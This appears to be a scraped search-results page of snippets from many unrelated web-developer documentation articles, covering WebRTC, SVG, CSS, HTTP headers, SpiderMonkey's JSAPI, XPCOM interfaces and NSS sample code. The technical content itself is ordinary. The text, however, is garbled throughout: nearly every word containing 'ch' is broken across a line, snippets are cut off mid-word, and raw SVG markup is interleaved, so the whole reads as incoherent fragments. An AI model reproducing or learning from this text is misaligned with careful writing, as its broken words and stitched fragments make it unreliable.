... with replacetrack(), you can simply have a track object for ea
ch camera and swit
ch between the two as needed.
...And 11 more matches
RTCStatsReport - Web APIs
the rtcrtpreceiver and rtcrtpsender versions of getstats() specifically only return statistics available to the incoming or outgoing stream on whi
ch you call them.
... the statistics objects for ea
ch category of statistic information, there is a dictionary whose properties provide the relevant information.
... properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, whi
ch provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring whi
ch uniquely identifies the object whi
ch was inspected to produce this object based on rtcstats.
...And 11 more matches
SVGFEDisplacementMapElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedisplacementmapelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline...
...And 11 more matches
SVGTextContentElement - Web APIs
the svgtextcontentelement interface is implemented by elements that support rendering
child text content.
... it is inherited by various text-related interfaces, su
ch as svgtextelement, svgtspanelement, svgtrefelement, svgaltglyphelement and svgtextpathelement.
...dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...And 11 more matches
Streams API - Web APIs
concepts and usage streaming involves breaking a resource that you want to receive over a network down into small
chunks, then processing it bit by bit.
... with streams being available to javascript, this all
changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
... there are more advantages too — you can detect when streams start or end,
chain streams together, handle errors and cancel streams as required, and react to the speed of the stream is being read at.
...And 11 more matches
TreeWalker - Web APIs
non-mat
ching nodes are skipped, but their
children may be included, if relevant.
...since attributes are never
children of other nodes, they do not appear when traversing over the document tree.
... treewalker.currentnode is the node on whi
ch the treewalker is currently pointing at.
...And 11 more matches
URL API - Web APIs
the url api is a component of the url standard, whi
ch defines what constitutes a valid uniform resource locator and the api that accesses and manipulates urls.
... the url standard also defines concepts su
ch as domains, hosts, and ip addresses, and also attempts to describe in a standard way the legacy application/x-www-form-urlencoded mime type used to submit web forms' contents as a set of key/value pairs.
... let addr = new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fet
ches the host and pathname properties.
...And 11 more matches
ValidityState - Web APIs
properties for ea
ch of these boolean properties, a value of true indicates that the specified reason validation may have failed is true, with the exception of the valid property, whi
ch is true if the element's value obeys all constraints.
... patternmismat
ch read only a boolean that is true if the value does not mat
ch the specified pattern, and false if it does mat
ch.
... if true, the element mat
ches the :invalid css pseudo-class.
...And 11 more matches
Functions and classes available to Web Workers - Web APIs
in addition to the standard javascript set of functions (su
ch as string, array, object, json, etc), there are a variety of functions available from the dom to workers.
... comparison of the properties and methods of the different type of workers function dedicated workers shared workers service workers
chrome workers outside workers atob() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window btoa() yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on workerglobalscope yes, on window clearinterval() yes, on workerglobalscope yes, on w...
... unknown no postmessage() yes, on dedicatedworkerglobalscope no no unknown no apis available in workers function functionality support in gecko (firefox) support in ie support in blink (
chrome and opera) support in webkit (safari) broadcast
channel api allows simple communication between browsing contexts (that is windows, tabs, frames, or iframes) with the same origin (usually pages from the same site).
...And 11 more matches
Using the alert role - Accessibility
description this te
chnique demonstrates how to use the alert role and describes the effect it has on browsers and assistive te
chnology.
...when this role is added to an element, the browser will send out an accessible alert event to assistive te
chnology products whi
ch can then notify the user about it.
... the alert role is most useful for information that requires the user's immediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local
changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's immediate attention is required.
...And 11 more matches
CSS Containment - CSS: Cascading Style Sheets
basic example many webpages contain a number of sections whi
ch are independent of ea
ch other.
... <h1>my blog</h1> <article> <h2>heading of a nice article</h2> <p>content here.</p> </article> <article> <h2>another heading of another article</h2> <p>more content here.</p> </article> ea
ch article has the contain property with a value of content applied in the css.
... article { contain: content; } ea
ch article is independent of the other articles on the page, and so they have been given contain: content in order to indicate to the browser that this is the case.
...And 11 more matches
Flow Layout and Writing Modes - CSS: Cascading Style Sheets
the css 2.1 specification, whi
ch details how normal flow behaves, assumes a horizontal writing mode.
... the writing modes specification the css writing modes level 3 specification defines the impact a
change the document writing mode has on flow layout.
...it is defined primarily in terms of its inline base direction and block flow direction.” the specification defines the inline base direction as the direction in whi
ch content is ordered on a line.
...And 11 more matches
Grid template areas - CSS: Cascading Style Sheets
however, there is an alternate method to use for positioning items on the grid whi
ch you can use alone or in combination with line-based placement.
...you can
choose what you would like to name your area.
... a header a footer a sidebar the main content with the grid-area property i can assign ea
ch of these areas a name.
...And 11 more matches
Overview of CSS Shapes - CSS: Cascading Style Sheets
you could for example float an item left, whi
ch would cause the text to wrap round the right and bottom of the item in a rectangular fashion.
...it takes a variety of values, all of whi
ch define different shapes, specified in the <basic-shape> datatype.
...the specification defines four <basic-shape> values, whi
ch are: inset() circle() ellipse() polygon() using the value inset() wraps text around a rectangular shape however you are able to add offset values, thus pulling the line boxes of any wrapping content closer to the object than would otherwise happen.
...And 11 more matches
Introducing the CSS Cascade - CSS: Cascading Style Sheets
this article explains what the cascade is, the order in whi
ch css declarations cascade, and how this affects you, the web developer.
... whi
ch css entities participate in the cascade only css declarations, that is property/value pairs, participate in the cascade.
... this means that at-rules containing entities other than declarations, su
ch as a @font-face rule containing descriptors, don't participate in the cascade.
...And 11 more matches
animation-direction - CSS: Cascading Style Sheets
tion-direction: normal; animation-direction: reverse; animation-direction: alternate; animation-direction: alternate-reverse; /* multiple animations */ animation-direction: normal, reverse; animation-direction: alternate, reverse, normal; /* global values */ animation-direction: inherit; animation-direction: initial; animation-direction: unset; values normal the animation plays forwards ea
ch cycle.
... in other words, ea
ch time the animation cycles, the animation will reset to the beginning state and start over again.
... reverse the animation plays backwards ea
ch cycle.
...And 11 more matches
<custom-ident> - CSS: Cascading Style Sheets
syntax the syntax of <custom-ident> is similar to css identifiers (su
ch as property names), except that it is case-sensitive.
... it consists of one or more
characters, where
characters can be any of the following: any alphabetical
character (a to z, or a to z), any decimal digit (0 to 9), a hyphen (-), an underscore (_), an escaped
character (preceded by a backslash, \), a unicode
character (in the format of a backslash, \, followed by one to six hexadecimal digits, representing its unicode code point) note that id1, id1, id1 and id1 are all different identifiers as they are case-sensitive.
... on the other hand, as there are several ways to escape a
character, toto\?
...And 11 more matches
list-style-type - CSS: Cascading Style Sheets
the list-style-type css property sets the marker (su
ch as a disc,
character, or custom counter style) of a list item element.
... syntax /* partial list of types */ list-style-type: disc; list-style-type: circle; list-style-type: square; list-style-type: decimal; list-style-type: georgian; list-style-type: trad-
chinese-informal; list-style-type: kannada; /* <string> value */ list-style-type: '-'; /* identifier mat
ching an @counter-style rule */ list-style-type: custom-counter-style; /* keyword value */ list-style-type: none; /* global values */ list-style-type: inherit; list-style-type: initial; list-style-type: unset; the list-style-type property may be defined as any one of: a <custom-ident> val...
... the cjk-ideographic is identical to trad-
chinese-informal; it exists for legacy reasons.
...And 11 more matches
Setting up adaptive streaming media sources - Developer guides
this article explains how, looking at two of the most common formats: mpeg-dash and hls (http live streaming.)
choosing formats in terms of adaptive streaming formats, there are many to
choose from; we decided to
choose the following two as between them we can support most modern browsers.
... mpeg-dash hls (http live streaming) in order to adaptively stream media we need to split the media up into
chunks.
... mpeg-dash encoding mpeg-dash is an adaptive bitrate streaming te
chnique that enables streaming of media content over the internet delivered from conventional http web servers.
...And 11 more matches
DOM onevent handlers - Developer guides
two common approa
ches are addeventlistener() and the specific onevent handlers.
...elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (su
ch as the base <body> element).
... you can specify an on<…> event handler for a particular event (su
ch as click) for a given object in different ways: adding an html attribute named on<eventtype>: <button onclick="handleclick()">, or by setting the corresponding property from javascript: document.queryselector("button").onclick = function(event) { … }.
...And 11 more matches
Mouse gesture events - Developer guides
there may also be large incompatibilities between implementations and the behavior may
change in the future.
... note: these gesture events are available to add-ons and other browser
chrome code, but are never sent to regular web page content.
...mozmagnifygesturestart the mozmagnifygesturestart event is sent when the user begins performing a "pin
ch" gesture, by using two fingers as the corners of a rectangle and moving them either closer together or farther apart.
...And 11 more matches
<tfoot>: The Table Foot element - HTML: Hypertext Markup Language
deprecated attributes align deprecated since html4obsolete since html5 this enumerated attribute specifies how horizontal alignment of ea
ch cell content will be handled.
... possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell
char, aligning the textual content on a special
character with a minimal offset, defined by the
char and
charoff attributes unimplemented (see bug 2212).
... to a
chieve the same effect as the left, center, right or justify values, use the css text-align property on it.
...And 11 more matches
<thead>: The Table Head element - HTML: Hypertext Markup Language
deprecated attributes align in html 4, in html5 this enumerated attribute specifies how horizontal alignment of ea
ch cell content will be handled.
... possible values are: left, aligning the content to the left of the cell center, centering the content in the cell right, aligning the content to the right of the cell justify, inserting spaces into the textual content so that the content is justified in the cell
char, aligning the textual content on a special
character with a minimal offset, defined by the
char and
charoff attributes unimplemented (see bug 2212).
... to a
chieve the same effect as the left, center, right or justify values, use the css text-align property on it.
...And 11 more matches
Data URLs - HTTP
data urls, urls prefixed with the data: s
cheme, allow content creators to embed small files inline in documents.
... syntax data urls are composed of four parts: a prefix (data:), a mime type indicating the type of data, an optional base64 token if non-textual, and the data itself: data:[<mediatype>][;base64],<data> the mediatype is a mime type string, su
ch as 'image/jpeg' for a jpeg image file.
... if omitted, defaults to text/plain;
charset=us-ascii if the data is textual, you can simply embed the text (using the appropriate entities or escapes based on the enclosing document's type).
...And 11 more matches
Cross-Origin Resource Policy (CORP) - HTTP
cross-origin resource policy is a policy set by the cross-origin-resource-policy http header that lets web sites and applications opt in to protection against certain requests from other origins (su
ch as those issued with elements like <script> and <img>), to mitigate speculative side-
channel attacks, like spectre, as well as cross-site script inclusion attacks.
...cross-origin resource policy complements cross-origin read blocking (corb), whi
ch is a me
chanism to prevent some cross-origin reads by default.
... the policy is only effective for no-cors requests, whi
ch are issued by default for cors-safelisted methods/headers.
...And 11 more matches
CSP: style-src-attr - HTTP
csp version 3 directive type fet
ch directive default-src fallback yes.
...: content-security-policy: style-src-attr <source>; content-security-policy: style-src-attr <source> <source>; style-src-attr can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-attr <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url s
cheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk
character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 11 more matches
CSP: style-src-elem - HTTP
csp version 3 directive type fet
ch directive default-src fallback yes.
...ontent-security-policy: style-src-elem <source>; content-security-policy: style-src-elem <source> <source>; style-src-elem can be used in conjunction with style-src: content-security-policy: style-src <source>; content-security-policy: style-src-elem <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url s
cheme and/or port number.
... the site's address may include an optional leading wildcard (the asterisk
character, '*'), and you may use a wildcard (again, '*') as the port number, indicating that all legal ports are valid for the source.
...And 11 more matches
HTTP Public Key Pinning (HPKP) - HTTP
note: public key pinning me
chanism was deprecated in favor of certificate transparency and expect-ct header.
... to ensure the authenticity of a server's public key used in tls sessions, this public key is wrapped into a x.509 certificate whi
ch is usually signed by a certificate authority (ca).
... web clients su
ch as browsers trust a lot of these cas, whi
ch can all create certificates for arbitrary domain names.
...And 11 more matches
Equality comparisons and sameness - JavaScript
there are four equality algorithms in es2015: abstract equality comparison (==) strict equality comparison (===): used by array.prototype.indexof, array.prototype.lastindexof, and case-mat
ching samevaluezero: used by %typedarray% and arraybuffer constructors, as well as map and set operations, and also string.prototype.includes and array.prototype.includes since es2016 samevalue: used in all other places javascript provides three different value-comparison operations: === - strict equality comparison ("strict equality", "identity", "triple equals") == - abstract equality comparison ("loose equality", "double equals") object.is provides samevalue (new in es2015).
... whi
ch operation you
choose depends on what sort of comparison you are looking to perform.
...for any non-primitive objects x and y whi
ch have the same structure but are distinct objects themselves, all of the above forms will evaluate to false.
...And 11 more matches
Learn web development
if you are a complete beginner, web development can be
challenging — we will hold your hand and provide enough detail for you to feel comfortable and learn the topics properly.
... you should feel at home whether you are a student learning web development (on your own or as part of a class), a tea
cher looking for class materials, a hobbyist, or someone who just wants to understand more about how web te
chnologies work.
...we have started keeping learning area release notes to show what has
changed — keep
checking back frequently!
...And 10 more matches
Testopia
despite bugzilla 5.0 has already been released a few months ago, we don't plan to release a fix for testopia immediately, because it's currently under heavy work to make testopia a fully self-contained extension, whi
ch means that all tr_*.cgi scripts whi
ch are currently in the bugzilla/ root directory are being moved into extensions/testopia/lib/.
... this is not an trivial task, it takes time (it started in august 2014), and we decided that it was not a good idea to release half-baked code whi
ch still needs testing to make sure we didn't regress anything.
... the good news is that the current code in the git repository already works with bugzilla 5.0, and so if you upgraded to 5.0 already, and if you don't mind having a work-in-progress extension on your ma
chine, you can decide to pull the code from the git repository.
...And 10 more matches
Creating a Language Pack
pre-build steps in the .mozconfig, you want to have mk_add_options moz_objdir=@topsrcdir@/obj-firefox-build ac_add_options --disable-compile-environment ac_add_options --with-l10n-base=../l10n-central # path relative to moz_objdir ac_add_options --enable-application=[browser or mail] the given path should have your localization directory as
child (i.e., a subdirectory ab-cd where ab-cd is your locale code).
... you still need to specify whi
ch application you're localizing (e.g., for firefox, that's browser, thunderbird would be mail).
... configure step you need to prepare the build directory, whi
ch is done with ./ma
ch configure you only need to run this if the version number of firefox
changes.
...And 10 more matches
Obsolete Build Caveats and Tips
ea
ch piece of information should mention the page and the section it originally came from.
...from firefox 10, the compilator is visual studio 2010; if you want to use it, you must use a previous version of it !), or 2005 professional from build_instructions those who need to work with the code for firefox 3/mozilla 1.9 and earlier can
check out the latest source using cvs.
... this note below seems redundant as this is true by default https://msdn.microsoft.com/en-us/library/dh8
che7s%28v=vs.110%29.aspx note: starting with gecko 7.0, you should no longer include "-zc:w
char_t-" in the command line when building on windows.
...And 10 more matches
Implementing Download Resuming
not only is the ability to specify a start position important, but it's also important to have some assurance that the file did not
change since the initial download attempt.
... the interface resuming is done using the nsiresumable
channel interface.
... the expected way to use it is this: for all downloads that happen, get the entityid from the
channel, and store it for later use.
...And 10 more matches
Interfacing with the Add-on Repository
to make the service work for the time being, you can use code like this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbran
ch = prefsservice.getbran
ch("extensions."); var recurl = ""; try { recurl = prefbran
ch.get
charpref("getaddons.recommended.url"); } cat
ch(e) { recurl = ""; } if (recurl == "") { prefbran
ch.set
charpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%api_version%/list/recommended/all/%max_results%/%os%/%version%?src=firefox"); prefsse...
...rvice.savepreffile(null); } this fet
ches the value of the extensions.getaddons.recommended.url preference, and, if the preference doesn't exist or has no value, sets the value of the preference to the correct one for the amo site.
... starting a request to start a sear
ch of the repository, you can use either of the following methods: sear
chaddons() queries the add-on repository for add-ons mat
ching given sear
ch criteria.
...And 10 more matches
XPCOMUtils.jsm
if not // provided, the default factory is used, whi
ch returns // |(new mycomponent()).queryinterface(iid)| in its createinstance().
... _xpcom_categories: [{ // ea
ch object in the array specifies the parameters to pass to // nsicategorymanager.addcategoryentry().
... create an array of component constructors you need to create an array that lists the constructors for ea
ch component.
...And 10 more matches
gettext
different gettext function name) for string whi
ch are supposed to support plurals.
...a definition of a string with plurals takes three arguments: the singular form of the english string, the plural form of the english string, and the number basing on whi
ch the function will return the correct (singular or plural) form of the string.
...first in the ngettext() call, where it will be used to determine whi
ch form of the string will be returned.
...And 10 more matches
Memory reporting
and please ask nnethercote to co-review any memory reporter pat
ch.
... ea
ch reporter implements a collectreports function whi
ch takes a nsimemoryreportercallback argument; for ea
ch measurement the reporter must pass in several values, including: a path (whi
ch identifies the report); an amount (the most important thing); a unit (most commonly bytes, but sometimes a unitless count or percentage); a description of what is measured.
... counter-based reporters maintain a counter that is incremented on ea
ch relevant allocation and decremented on ea
ch relevant deallocation.
...And 10 more matches
NSS Sample Code Utilities_1
*/ /* * newline */ static void newline(prfiledesc* out) { pr_fprintf(out, "\n"); } /* * printasascii */ void printasascii(prfiledesc* out, const unsigned
char *data, unsigned int len) {
char *b64data = null; b64data = btoa_datatoascii(data, len); pr_fprintf(out, "%s", b64data); pr_fprintf(out, "\n"); if (b64data) { port_free(b64data); } } /* * printashex */ void printashex(prfiledesc* out, const unsigned
char *data, unsigned int len) { unsigned i; int column; unsigned int limit = 15; unsigned int le...
...t, "%02x:", data[i]); column += 3; } else { pr_fprintf(out, "%02x", data[i]); column += 2; break; } if (column > 76 || (i % 16 == limit)) { newline(out); column = level; limit = i % 16; } } if (column != level) { newline(out); } } /* * getdigit */ int getdigit(
char c) { if (c == 0) { return -1; } if (c <= '9' && c >= '0') { return c - '0'; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } if (c <= 'f' && c >= 'a') { return c - 'a' + 0xa; } return -1; } /* * hextobuf */ int hextobuf(unsigned
char *instring, secitem *outbuf, prbool ishexdata) { int len = strlen(instring); int...
..._getopenfileinfo(src, &info); if (prstatus != pr_success) { return secfailure; } dst->data = 0; if (secitem_allocitem(null, dst, info.size)) { numbytes = pr_read(src, dst->data, info.size); if (numbytes == info.size) { return secsuccess; } } secitem_freeitem(dst, pr_false); dst->data = null; return secfailure; } /* * e
chooff */ static void e
chooff(int fd) { if (isatty(fd)) { struct termios tio; tcgetattr(fd, &tio); tio.c_lflag &= ~e
cho; tcsetattr(fd, tcsaflush, &tio); } } /* * e
choon */ static void e
choon(int fd) { if (isatty(fd)) { struct termios tio; tcgetattr(fd, &tio); tio.c_lflag |= e
cho; tcsetattr(fd, tcsaflush, &tio); } } /* *
checkp...
...And 10 more matches
JIT Optimization Outcomes
singleton types are assigned to objects that are "one of a kind", su
ch as global objects, literal objects declared in the global scope, and top-level function objects.
...objects whi
ch are used in ways that suggest they are hashtables are turned into dictionary objects and their types marked as su
ch.
... nonwritableproperty the property being assigned to is not writable for some types of objects whi
ch are used in this operation.
...And 10 more matches
JSAPI Cookbook
// javascript var global = this; there is a function, js_getglobalforscope
chain(cx), that makes a best guess, and sometimes that is the best that can be done.
...ve", 24); it looks so simple in javascript, but a jsapi application has to do three things here: look up the constructor, person prepare the arguments ("dave", 24) call js_new to simulate the new keyword (if your constructor doesn't take any arguments, you can skip the second step and call js_new(cx, constructor, 0, null) in step 3.) /* jsapi */ /* step 1 - get the value of |person| and
check that it is an object.
... // javascript throw new error("failed to grow " + varietal + ": too many greenflies."); /* jsapi */ js_reporterror(cx, "failed to grow %s: too many greenflies.", varietal); return false; to internationalize your error messages, and to throw other error types, su
ch as syntaxerror or typeerror, use js_reporterrornumber instead.
...And 10 more matches
JS::Evaluate
syntax // added in spidermonkey 45 bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const
char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, const js::readonlycompileoptions &options, const
char *filename, js::mutablehandlevalue rval); bool js::evaluate...
...(jscontext *cx, js::autoobjectvector &scope
chain, const readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::mutablehandlevalue rval); // added in spidermonkey 17 bool js::evaluate(jscontext *cx, js::autoobjectvector &scope
chain, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); // obsolete since jsapi 39 bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::mutableha...
...ndlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char *bytes, size_t length, js::mutablehandlevalue rval); bool js::evaluate(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char *filename, js::mutablehandlevalue rval); name type description cx jscontext * the context in whi
ch to run the script.
...And 10 more matches
JS_AlreadyHasOwnProperty
syntax boo js_alreadyhasownproperty(jscontext *cx, js::handleobject obj, const
char *name, bool *foundp); boo js_alreadyhasownucproperty(jscontext *cx, js::handleobject obj, const
char16_t *name, size_t namelen, bool *foundp); boo js_alreadyhasownpropertybyid(jscontext *cx, js::handleobject obj, js::handleid id, bool *foundp); // added in spidermonkey 1.8.1 boo js_alreadyhasownelement(jscontext *cx, js::handleobject obj, uint32_t index, bool *foundp); name type description cx jscontext * pointer to a js context.
... obj jsobject * the object to be sear
ched.
... name or id const
char * or const
char16_t *or js::handleid (in js_alreadyhasownproperty, alreadyhasownucproperty, and js_alreadyhasownpropertybyid) the name of the property to sear
ch for.
...And 10 more matches
JS_GetGCParameter
key jsgcparamkey specifies whi
ch garbage collection parameter to get or set.
... typedef enum jsgcparamkey { jsgc_max_bytes, jsgc_max_malloc_bytes, jsgc_max_nursery_bytes, jsgc_bytes, jsgc_number, jsgc_mode, jsgc_unused_
chunks, jsgc_total_
chunks, jsgc_slice_time_budget, jsgc_mark_stack_limit, jsgc_high_frequency_time_limit, jsgc_high_frequency_low_limit, jsgc_high_frequency_high_limit, jsgc_high_frequency_heap_growth_max, jsgc_high_frequency_heap_growth_min, jsgc_low_frequency_heap_growth, jsgc_dynamic_heap_growth, jsgc_dynamic_mark_slice, jsgc_allocation_threshold, jsgc_min_empty_
chunk_count, jsgc_max_empty_
chunk_count, jsgc_compaction_enabled, jsgc_allocation_threshold_factor, ...
... jsgc_allocation_threshold_factor_avoid_interrupt, jsgc_nursery_free_threshold_for_idle_collection, jsgc_pretenure_threshold, jsgc_pretenure_group_threshold, jsgc_nursery_free_threshold_for_idle_collection_percent, jsgc_min_nursery_bytes, jsgc_min_last_dit
ch_gc_period, } jsgcparamkey; value (c++/js shell) description jsgc_max_bytes / "maxbytes" maximum nominal heap before last dit
ch gc.
...And 10 more matches
Setting up CDT to work on SpiderMonkey
the initial build was in clang, so the modified build commands look like this: mkdir _dbg.obj cd _dbg.obj cc='clang -qunused-arguments -fcolor-diagnostics' cxx='clang++ -qunused-arguments -fcolor-diagnostics' \ ../configure --enable-debug --disable-optimize --enable-debug-symbols note: if you want to use cca
che, you can enable it by adding --with-cca
che to the arguments list.
... due to a bug in cdt, you have to make a small
change to cdt's build configuration as explained in step 3 below for that to work, though.
... step 2 - installing eclipse and setting up the project the following run-down is a condensed and updated version of what is explained in mu
ch more detail for the entire mozilla codebase.
...And 10 more matches
Signing Mozilla apps for Mac OS X
mac os x's gatekeeper functionality prevents users from laun
ching applications that haven't been code-signed, in order to help keep their computers secure.
...for projects that don't use mozilla's release automation and would like to be signed for secure laun
ching on os 10.8 mountain lion and later, this guide should provide some insight into how to make sure applications are signed correctly using apple's codesign tool.
... while testing and debugging for test and debug purposes, the easiest way to get a signing certificate is to use apple's key
chain feature to create one.
...And 10 more matches
Using the Places annotation service
it is usable from trusted firefox code su
ch as extensions, but not from web pages.
...whi
ch one to use is usually dictated by the application.
...the annotation service does not currently enforce the annotation name format, but this may
change in the future.
...And 10 more matches
How to build an XPCOM component in JavaScript
if you are looking for add-on sdk solution for xpcom javascript components then
check out platform/xpcom module first.
... implementation this example component will expose a single method, whi
ch returns the string "hello world!".
...here's the xpidl definition for our helloworld component: helloworld.idl #include "nsisupports.idl" [scriptable, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsihelloworld : nsisupports { string hello(); }; note that you must generate a new uuid for ea
ch xpcom component that you create.
...And 10 more matches
mozIPlacesAutoComplete
toolkit/components/places/public/moziplacesautocomplete.idlscriptable this interface provides some constants used by the places autocomplete sear
ch provider as well as methods to track opened pages for autocomplete purposes.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void registeropenpage(in nsiuri auri); void unregisteropenpage(in nsiuri auri); constants constant value description mat
ch_anywhere 0 mat
ch anywhere in ea
ch sear
chable term.
... mat
ch_boundary_anywhere 1 mat
ch first on word boundaries, and if we do not get enough results, then mat
ch anywhere in ea
ch sear
chable term.
...And 10 more matches
nsICompositionStringSynthesizer
dom/interfaces/base/nsicompositionstringsynthesizer.idlscriptable this interface is a composition string synthesizer interface that synthesizes composition string with arbitrary clauses and a caret 1.0 66 introduced gecko 26 obsolete gecko 38 inherits from: nsisupports last
changed in gecko 38.0 (firefox 38.0 / thunderbird 38.0 / seamonkey 2.35) this interface is obsoleted in gecko 38.
...eate an instance for this: var domwindowutils = window.windowutils; var compositionstringsynthesizer = domwindowutils.createcompositionstringsynthesizer(); for example, when you create a composition whose composing string is "foo-bar-buzz" and "bar" is selected to convert, then, first, you need to start composition: domwindowutils.sendcompositionevent("compositionstart", "", ""); next, dispat
ch composition string with crause information and caret information (optional): // set new composition string with .setstring().
...(optional) compositionstringsynthesizer.setcaret("foo-bar".length, 0); // dispat
ch dom events to modify the focused editor compositionstringsynthesizer.dispat
chevent(); when you modify the composing string, you don't need to recreate the instance anymore.
...And 10 more matches
nsICryptoHash
1.0 66 introduced gecko 1.8 inherits from: nsisupports last
changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long a...
...len); constants hash algorithms these constants are used by the init() method to indicate whi
ch hashing function to use.
...man
ch("init") ..
...And 10 more matches
nsIDragService
inherits from: nsisupports last
changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using this interface directly from add-on code is deprecated.
...the only exception is getcurrentsession(), since there's currently no way to
check for a drag in progress using standard dom methods or properties.
... methods native code only!dragmoved programmatically
changes the drag position of the drag session.
...And 10 more matches
nsIMicrosummaryService
1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last
changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/microsummary/service;1 as a service: var microsummaryservice = components.classes["@mozilla.org/microsummary/service;1"] .getservice(components.interfaces.nsimicrosummaryservice); method overview void addgenerator(in nsiuri generatoruri); nsimicrosummary createmicrosummary(in nsiuri p...
...the set might
change after this method returns, since this method will trigger an asyn
chronous load of the page in question (if it isn't already loaded) to see if it references any page-specific microsummaries.
